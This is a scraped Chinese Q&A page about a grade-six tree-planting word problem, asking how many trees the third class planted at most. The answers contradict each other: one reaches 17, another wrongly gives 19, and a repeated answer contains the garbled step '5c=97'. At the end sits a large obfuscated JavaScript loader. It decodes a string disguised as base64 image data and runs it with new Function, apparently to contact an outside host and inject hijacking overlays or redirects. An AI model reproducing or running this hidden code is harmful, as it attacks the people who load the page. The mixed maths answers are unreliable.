六年级五个班的同学共植树100棵.已知每个班植树的棵数都不相同，且按数量从多到少的排名恰好是一、二、三
推荐回答（3个）
设1～5班种的数量分别为a、b、c、d、e，根据题意，有：
a+b+c+d+e=100; －－－－（1）
a>b>c>d>e;
a=b+c;
b=d+e;
设二班比三班多种x，即b=c+x,则x>0;
a=b+c=2c+x; ------------(2)
b=d+e=c+x; -------------(3)
(2)、(3)代入（1），得：
5c+3x=100
c、x都是整数，x不为0，则5c=97, 则c最大为19。
我们假设a b c d+e分别如下
【1】 39 20 19 20 总和98 不足100，由于c不可能往上增加，所以离100尚缺的2只能在a b d+e上面找补，很明显这三个数值是同步增长的，最少一次加3，所以只能靠减少c的数值来满足题意
【2】 40 21 19 21 总和101 超过100
所以三班栽种19棵不肯能更实现
假设3班种18
【3】 38 20 18 20 总和96 不足100
【4】 40 22 18 22 总和102 超过100
【5】 39 21 18 21 总和99 不足100
继续往下假设，3班种17，从上面我们可以看出，每次a b d+e可以同步增长，增幅相等，所以可以构造出离100的差值为3的倍数
【6】 37 20 17 20 总和 94 离100差6，为3倍的2
【7】 39 22 17 22 总和100，可以满足
所以实际上三班最多种17棵
希望回答对你有帮助
分别设五个班植树的是a，b，c，d，e
已知a+b+c+d+e=100
a=b+c
b=d+e
带入
a+b+c+b=100
3b+2c=100
因为b>c
所以3b+2c=100>5c
所以c<20
所以三班最多植树19棵
设1～5班种的数量分别为a、b、c、d、e，根据题意，有：
a+b+c+d+e=100; －－－－（1）
a>b>c>d>e;
a=b+c;
b=d+e;
设二班比三班多种x，即b=c+x,则x>0;
a=b+c=2c+x; ------------(2)
b=d+e=c+x; -------------(3)
(2)、(3)代入（1），得：
5c+3x=100
c、x都是整数，x不为0，则5c=97, 则c最大为19。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
